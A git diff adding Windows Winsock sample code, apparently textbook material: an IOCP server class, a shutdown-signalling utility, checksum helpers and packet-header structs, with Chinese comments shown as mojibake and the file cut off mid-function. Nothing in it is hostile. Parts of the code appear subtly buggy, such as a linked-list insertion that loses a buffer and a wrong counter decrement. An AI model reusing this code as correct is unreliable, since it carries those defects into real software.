+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/_desktop.ini" "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.cpp" "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.cpp" new file mode 100644 index 0000000..7a6d345 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.cpp" @@ -0,0 +1,24 @@ +//////////////////////////////////// +// ServerShutdown.cppÎļþ + + +#include + +int APIENTRY WinMain(HINSTANCE hInstance, + HINSTANCE hPrevInstance, + LPSTR lpCmdLine, + int nCmdShow) +{ + HANDLE hEvent = ::OpenEvent(EVENT_ALL_ACCESS, FALSE, "ShutdownEvent"); + if(hEvent != NULL) + { + ::SetEvent(hEvent); + ::CloseHandle(hEvent); + ::MessageBox(NULL, " ·þÎñÆ÷¹Ø±Õ³É¹¦£¡\n", "ServerShutdown", 0); + } + else + { + ::MessageBox(NULL, " ·þÎñÆ÷»¹Ã»ÓÐÆô¶¯£¡\n", "ServerShutdown", 0); + } + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.sln" "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.sln" new file mode 100644 index 0000000..a9eca2e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerShutdown", "ServerShutdown.vcproj", "{C74F2190-1365-4976-9C08-836D95EA47A9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C74F2190-1365-4976-9C08-836D95EA47A9}.Debug|Win32.ActiveCfg = Debug|Win32 + {C74F2190-1365-4976-9C08-836D95EA47A9}.Debug|Win32.Build.0 = Debug|Win32 + {C74F2190-1365-4976-9C08-836D95EA47A9}.Release|Win32.ActiveCfg = Release|Win32 + {C74F2190-1365-4976-9C08-836D95EA47A9}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.suo" "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.suo" new file mode 100644 index 0000000..123058c Binary files /dev/null and "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.suo" differ diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.vcproj" "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.vcproj" new file mode 100644 index 0000000..498a819 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/ServerShutdown.vcproj" @@ -0,0 +1,244 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/_desktop.ini" "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/ServerShutdown/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2544\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2544\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.CPP" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.CPP" new file mode 100644 index 0000000..398ba98 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.CPP" @@ -0,0 +1,1065 @@ +////////////////////////////////////////////////// +// IOCP.cppÎļþ + +#include "iocp.h" +#pragma comment(lib, "WS2_32.lib") + +CIOCPServer::CIOCPServer() +{ + // Áбí + m_pFreeBufferList = NULL; + m_pFreeContextList = NULL; + m_pPendingAccepts = NULL; + m_pConnectionList = NULL; + + m_nFreeBufferCount = 0; + m_nFreeContextCount = 0; + m_nPendingAcceptCount = 0; + m_nCurrentConnection = 0; + + ::InitializeCriticalSection(&m_FreeBufferListLock); + ::InitializeCriticalSection(&m_FreeContextListLock); + ::InitializeCriticalSection(&m_PendingAcceptsLock); + ::InitializeCriticalSection(&m_ConnectionListLock); + + // AcceptÇëÇó + m_hAcceptEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + m_hRepostEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + m_nRepostCount = 0; + + m_nPort = 4567; + + m_nInitialAccepts = 10; + m_nInitialReads = 4; + m_nMaxAccepts = 100; + m_nMaxSends = 20; + m_nMaxFreeBuffers = 200; + m_nMaxFreeContexts = 100; + m_nMaxConnections = 2000; + + m_hListenThread = NULL; + m_hCompletion = NULL; + m_sListen = INVALID_SOCKET; + m_lpfnAcceptEx = NULL; + m_lpfnGetAcceptExSockaddrs = NULL; + + m_bShutDown = FALSE; + m_bServerStarted = FALSE; + + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + ::WSAStartup(sockVersion, &wsaData); +} + +CIOCPServer::~CIOCPServer() +{ + Shutdown(); + + if(m_sListen != INVALID_SOCKET) + ::closesocket(m_sListen); + if(m_hListenThread != NULL) + ::CloseHandle(m_hListenThread); + + ::CloseHandle(m_hRepostEvent); + ::CloseHandle(m_hAcceptEvent); + + ::DeleteCriticalSection(&m_FreeBufferListLock); + ::DeleteCriticalSection(&m_FreeContextListLock); + ::DeleteCriticalSection(&m_PendingAcceptsLock); + ::DeleteCriticalSection(&m_ConnectionListLock); + + ::WSACleanup(); +} + + +/////////////////////////////////// +// ×Ô¶¨Òå°ïÖúº¯Êý + +CIOCPBuffer *CIOCPServer::AllocateBuffer(int nLen) +{ + CIOCPBuffer *pBuffer = NULL; + if(nLen > BUFFER_SIZE) + return NULL; + + // Ϊ»º³åÇø¶ÔÏóÉêÇëÄÚ´æ + ::EnterCriticalSection(&m_FreeBufferListLock); + if(m_pFreeBufferList == NULL) // ÄÚ´æ³ØΪ¿Õ£¬ÉêÇëеÄÄÚ´æ + { + pBuffer = (CIOCPBuffer *)::HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, sizeof(CIOCPBuffer) + BUFFER_SIZE); + } + else // ´ÓÄÚ´æ³ØÖÐÈ¡Ò»¿éÀ´Ê¹Óà + { + pBuffer = m_pFreeBufferList; + m_pFreeBufferList = m_pFreeBufferList->pNext; + pBuffer->pNext = NULL; + m_nFreeBufferCount --; + } + ::LeaveCriticalSection(&m_FreeBufferListLock); + + // ³õʼ»¯ÐµĻº³åÇø¶ÔÏó + if(pBuffer != NULL) + { + pBuffer->buff = (char*)(pBuffer + 1); + pBuffer->nLen = nLen; + } + return pBuffer; +} + +void CIOCPServer::ReleaseBuffer(CIOCPBuffer *pBuffer) +{ + ::EnterCriticalSection(&m_FreeBufferListLock); + + if(m_nFreeBufferCount <= m_nMaxFreeBuffers) // ½«ÒªÊͷŵÄÄÚ´æÌí¼Óµ½¿ÕÏÐÁбíÖÐ + { + memset(pBuffer, 0, sizeof(CIOCPBuffer) + BUFFER_SIZE); + pBuffer->pNext = m_pFreeBufferList; + m_pFreeBufferList = pBuffer; + + m_nFreeBufferCount ++ ; + } + else // ÒѾ­´ïµ½×î´óÖµ£¬ÕæÕýµÄÊÍ·ÅÄÚ´æ + { + ::HeapFree(::GetProcessHeap(), 0, pBuffer); + } + + ::LeaveCriticalSection(&m_FreeBufferListLock); +} + + +CIOCPContext *CIOCPServer::AllocateContext(SOCKET s) +{ + CIOCPContext *pContext; + + // ÉêÇëÒ»¸öCIOCPContext¶ÔÏó + ::EnterCriticalSection(&m_FreeContextListLock); + if(m_pFreeContextList == NULL) + { + pContext = (CIOCPContext *) + ::HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CIOCPContext)); + + ::InitializeCriticalSection(&pContext->Lock); + } + else + { + // ÔÚ¿ÕÏÐÁбíÖÐÉêÇë + pContext = m_pFreeContextList; + m_pFreeContextList = m_pFreeContextList->pNext; + pContext->pNext = NULL; + + m_nFreeBufferCount --; + } + ::LeaveCriticalSection(&m_FreeContextListLock); + + // ³õʼ»¯¶ÔÏó³ÉÔ± + if(pContext != NULL) + { + pContext->s = s; + } + return pContext; +} + +void CIOCPServer::ReleaseContext(CIOCPContext *pContext) +{ + if(pContext->s != INVALID_SOCKET) + ::closesocket(pContext->s); + + // Ê×ÏÈÊÍ·Å£¨Èç¹ûÓеĻ°£©´ËÌ×½Ú×ÖÉϵÄûÓа´Ë³ÐòÍê³ÉµÄ¶ÁI/OµÄ»º³åÇø + CIOCPBuffer *pNext; + while(pContext->pOutOfOrderReads != NULL) + { + pNext = pContext->pOutOfOrderReads->pNext; + ReleaseBuffer(pContext->pOutOfOrderReads); + pContext->pOutOfOrderReads = pNext; + } + + ::EnterCriticalSection(&m_FreeContextListLock); + + if(m_nFreeContextCount <= m_nMaxFreeContexts) // Ìí¼Óµ½¿ÕÏÐÁбí + { + // ÏȽ«¹Ø¼ü´úÂë¶Î±äÁ¿±£´æµ½Ò»¸öÁÙʱ±äÁ¿ÖÐ + CRITICAL_SECTION cstmp = pContext->Lock; + // ½«ÒªÊͷŵÄÉÏÏÂÎĶÔÏó³õʼ»¯Îª0 + memset(pContext, 0, sizeof(CIOCPContext)); + + // ÔÙ·Å»á¹Ø¼ü´úÂë¶Î±äÁ¿£¬½«ÒªÊͷŵÄÉÏÏÂÎĶÔÏóÌí¼Óµ½¿ÕÏÐÁбíµÄ±íÍ· + pContext->Lock = cstmp; + pContext->pNext = m_pFreeContextList; + m_pFreeContextList = pContext; + + // ¸üмÆÊý + m_nFreeContextCount ++; + } + else + { + ::DeleteCriticalSection(&pContext->Lock); + ::HeapFree(::GetProcessHeap(), 0, pContext); + } + + ::LeaveCriticalSection(&m_FreeContextListLock); +} + +void CIOCPServer::FreeBuffers() +{ + // ±éÀúm_pFreeBufferList¿ÕÏÐÁÐ±í£¬ÊÍ·Å»º³åÇø³ØÄÚ´æ + ::EnterCriticalSection(&m_FreeBufferListLock); + + CIOCPBuffer *pFreeBuffer = m_pFreeBufferList; + CIOCPBuffer *pNextBuffer; + while(pFreeBuffer != NULL) + { + pNextBuffer = pFreeBuffer->pNext; + if(!::HeapFree(::GetProcessHeap(), 0, pFreeBuffer)) + { +#ifdef _DEBUG + ::OutputDebugString(" FreeBuffersÊÍ·ÅÄÚ´æ³ö´í£¡"); +#endif // _DEBUG + break; + } + pFreeBuffer = pNextBuffer; + } + m_pFreeBufferList = NULL; + m_nFreeBufferCount = 0; + + ::LeaveCriticalSection(&m_FreeBufferListLock); +} + +void CIOCPServer::FreeContexts() +{ + // ±éÀúm_pFreeContextList¿ÕÏÐÁÐ±í£¬ÊÍ·Å»º³åÇø³ØÄÚ´æ + ::EnterCriticalSection(&m_FreeContextListLock); + + CIOCPContext *pFreeContext = m_pFreeContextList; + CIOCPContext *pNextContext; + while(pFreeContext != NULL) + { + pNextContext = pFreeContext->pNext; + + ::DeleteCriticalSection(&pFreeContext->Lock); + if(!::HeapFree(::GetProcessHeap(), 0, pFreeContext)) + { +#ifdef _DEBUG + ::OutputDebugString(" FreeBuffersÊÍ·ÅÄÚ´æ³ö´í£¡"); +#endif // _DEBUG + break; + } + pFreeContext = pNextContext; + } + m_pFreeContextList = NULL; + m_nFreeContextCount = 0; + + ::LeaveCriticalSection(&m_FreeContextListLock); +} + + +BOOL CIOCPServer::AddAConnection(CIOCPContext *pContext) +{ + // Ïò¿Í»§Á¬½ÓÁбíÌí¼ÓÒ»¸öCIOCPContext¶ÔÏó + + ::EnterCriticalSection(&m_ConnectionListLock); + if(m_nCurrentConnection <= m_nMaxConnections) + { + // Ìí¼Óµ½±íÍ· + pContext->pNext = m_pConnectionList; + m_pConnectionList = pContext; + // ¸üмÆÊý + m_nCurrentConnection ++; + + ::LeaveCriticalSection(&m_ConnectionListLock); + return TRUE; + } + ::LeaveCriticalSection(&m_ConnectionListLock); + + return FALSE; +} + +void CIOCPServer::CloseAConnection(CIOCPContext *pContext) +{ + // Ê×ÏÈ´ÓÁбíÖÐÒƳýÒª¹Ø±ÕµÄÁ¬½Ó + ::EnterCriticalSection(&m_ConnectionListLock); + + CIOCPContext* pTest = m_pConnectionList; + if(pTest == pContext) + { + m_pConnectionList = pContext->pNext; + m_nCurrentConnection --; + } + else + { + while(pTest != NULL && pTest->pNext != pContext) + pTest = pTest->pNext; + if(pTest != NULL) + { + pTest->pNext = pContext->pNext; + m_nCurrentConnection --; + } + } + + ::LeaveCriticalSection(&m_ConnectionListLock); + + // È»ºó¹Ø±Õ¿Í»§Ì×½Ú×Ö + ::EnterCriticalSection(&pContext->Lock); + + if(pContext->s != INVALID_SOCKET) + { + ::closesocket(pContext->s); + pContext->s = INVALID_SOCKET; + } + pContext->bClosing = TRUE; + + ::LeaveCriticalSection(&pContext->Lock); +} + +void CIOCPServer::CloseAllConnections() +{ + // ±éÀúÕû¸öÁ¬½ÓÁÐ±í£¬¹Ø±ÕËùÓеĿͻ§Ì×½Ú×Ö + + ::EnterCriticalSection(&m_ConnectionListLock); + + CIOCPContext *pContext = m_pConnectionList; + while(pContext != NULL) + { + ::EnterCriticalSection(&pContext->Lock); + + if(pContext->s != INVALID_SOCKET) + { + ::closesocket(pContext->s); + pContext->s = INVALID_SOCKET; + } + + pContext->bClosing = TRUE; + + ::LeaveCriticalSection(&pContext->Lock); + + pContext = pContext->pNext; + } + + m_pConnectionList = NULL; + m_nCurrentConnection = 0; + + ::LeaveCriticalSection(&m_ConnectionListLock); +} + + +BOOL CIOCPServer::InsertPendingAccept(CIOCPBuffer *pBuffer) +{ + // ½«Ò»¸öI/O»º³åÇø¶ÔÏó²åÈëµ½m_pPendingAccepts±íÖÐ + + ::EnterCriticalSection(&m_PendingAcceptsLock); + + if(m_pPendingAccepts == NULL) + m_pPendingAccepts = pBuffer; + else + { + pBuffer->pNext = m_pPendingAccepts; + m_pPendingAccepts = pBuffer; + } + m_nPendingAcceptCount ++; + + ::LeaveCriticalSection(&m_PendingAcceptsLock); + + return TRUE; +} + +BOOL CIOCPServer::RemovePendingAccept(CIOCPBuffer *pBuffer) +{ + BOOL bResult = FALSE; + + // ±éÀúm_pPendingAccepts±í£¬´ÓÖÐÒƳýpBufferËùÖ¸ÏòµÄ»º³åÇø¶ÔÏó + ::EnterCriticalSection(&m_PendingAcceptsLock); + + CIOCPBuffer *pTest = m_pPendingAccepts; + if(pTest == pBuffer) // Èç¹ûÊDZíÍ·ÔªËØ + { + m_pPendingAccepts = pBuffer->pNext; + bResult = TRUE; + } + else // ²»ÊDZíÍ·ÔªËصĻ°£¬¾ÍÒª±éÀúÕâ¸ö±íÀ´²éÕÒÁË + { + while(pTest != NULL && pTest->pNext != pBuffer) + pTest = pTest->pNext; + if(pTest != NULL) + { + pTest->pNext = pBuffer->pNext; + bResult = TRUE; + } + } + // ¸üмÆÊý + if(bResult) + m_nPendingAcceptCount --; + + ::LeaveCriticalSection(&m_PendingAcceptsLock); + + return bResult; +} + + +CIOCPBuffer *CIOCPServer::GetNextReadBuffer(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ + if(pBuffer != NULL) + { + // Èç¹ûÓëÒª¶ÁµÄÏÂÒ»¸öÐòÁкÅÏàµÈ£¬Ôò¶ÁÕâ¿é»º³åÇø + if(pBuffer->nSequenceNumber == pContext->nCurrentReadSequence) + { + return pBuffer; + } + + // Èç¹û²»ÏàµÈ£¬Ôò˵Ã÷ûÓа´Ë³Ðò½ÓÊÕÊý¾Ý£¬½«Õâ¿é»º³åÇø±£´æµ½Á¬½ÓµÄpOutOfOrderReadsÁбíÖÐ + + // ÁбíÖеĻº³åÇøÊÇ°´ÕÕÆäÐòÁкŴÓСµ½´óµÄ˳ÐòÅÅÁÐµÄ + + pBuffer->pNext = NULL; + + CIOCPBuffer *ptr = pContext->pOutOfOrderReads; + CIOCPBuffer *pPre = NULL; + while(ptr != NULL) + { + if(pBuffer->nSequenceNumber < ptr->nSequenceNumber) + break; + + pPre = ptr; + ptr = ptr->pNext; + } + + if(pPre == NULL) // Ó¦¸Ã²åÈëµ½±íÍ· + { + pBuffer->pNext = pContext->pOutOfOrderReads; + pContext->pOutOfOrderReads = pBuffer; + } + else // Ó¦¸Ã²åÈëµ½±íµÄÖмä + { + pBuffer->pNext = pPre->pNext; + pPre->pNext = pBuffer->pNext; + } + } + + // ¼ì²é±íÍ·ÔªËصÄÐòÁкţ¬Èç¹ûÓëÒª¶ÁµÄÐòÁкÅÒ»Ö£¬¾Í½«Ëü´Ó±íÖÐÒƳý£¬·µ»Ø¸øÓû§ + CIOCPBuffer *ptr = pContext->pOutOfOrderReads; + if(ptr != NULL && (ptr->nSequenceNumber == pContext->nCurrentReadSequence)) + { + pContext->pOutOfOrderReads = ptr->pNext; + return ptr; + } + return NULL; +} + + +BOOL CIOCPServer::PostAccept(CIOCPBuffer *pBuffer) // ÔÚ¼àÌýÌ×½Ú×ÖÉÏͶµÝAcceptÇëÇó +{ + // ÉèÖÃI/OÀàÐÍ + pBuffer->nOperation = OP_ACCEPT; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + pBuffer->sClient = ::WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); + BOOL b = m_lpfnAcceptEx(m_sListen, + pBuffer->sClient, + pBuffer->buff, + pBuffer->nLen - ((sizeof(sockaddr_in) + 16) * 2), + sizeof(sockaddr_in) + 16, + sizeof(sockaddr_in) + 16, + &dwBytes, + &pBuffer->ol); + if(!b && ::WSAGetLastError() != WSA_IO_PENDING) + { + return FALSE; + } + return TRUE; +}; + +BOOL CIOCPServer::PostRecv(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ + // ÉèÖÃI/OÀàÐÍ + pBuffer->nOperation = OP_READ; + + ::EnterCriticalSection(&pContext->Lock); + + // ÉèÖÃÐòÁкŠ+ pBuffer->nSequenceNumber = pContext->nReadSequence; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + DWORD dwFlags = 0; + WSABUF buf; + buf.buf = pBuffer->buff; + buf.len = pBuffer->nLen; + if(::WSARecv(pContext->s, &buf, 1, &dwBytes, &dwFlags, &pBuffer->ol, NULL) != NO_ERROR) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + { + ::LeaveCriticalSection(&pContext->Lock); + return FALSE; + } + } + + // Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊýºÍ¶ÁÐòÁкżÆÊý + + pContext->nOutstandingRecv ++; + pContext->nReadSequence ++; + + ::LeaveCriticalSection(&pContext->Lock); + + return TRUE; +} + +BOOL CIOCPServer::PostSend(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ + // ¸ú×ÙͶµÝµÄ·¢Ë͵ÄÊýÁ¿£¬·ÀÖ¹Óû§½ö·¢ËÍÊý¾Ý¶ø²»½ÓÊÕ£¬µ¼Ö·þÎñÆ÷Å׳ö´óÁ¿·¢ËͲÙ×÷ + if(pContext->nOutstandingSend > m_nMaxSends) + return FALSE; + + // ÉèÖÃI/OÀàÐÍ£¬Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊý + pBuffer->nOperation = OP_WRITE; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + DWORD dwFlags = 0; + WSABUF buf; + buf.buf = pBuffer->buff; + buf.len = pBuffer->nLen; + if(::WSASend(pContext->s, + &buf, 1, &dwBytes, dwFlags, &pBuffer->ol, NULL) != NO_ERROR) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + return FALSE; + } + + // 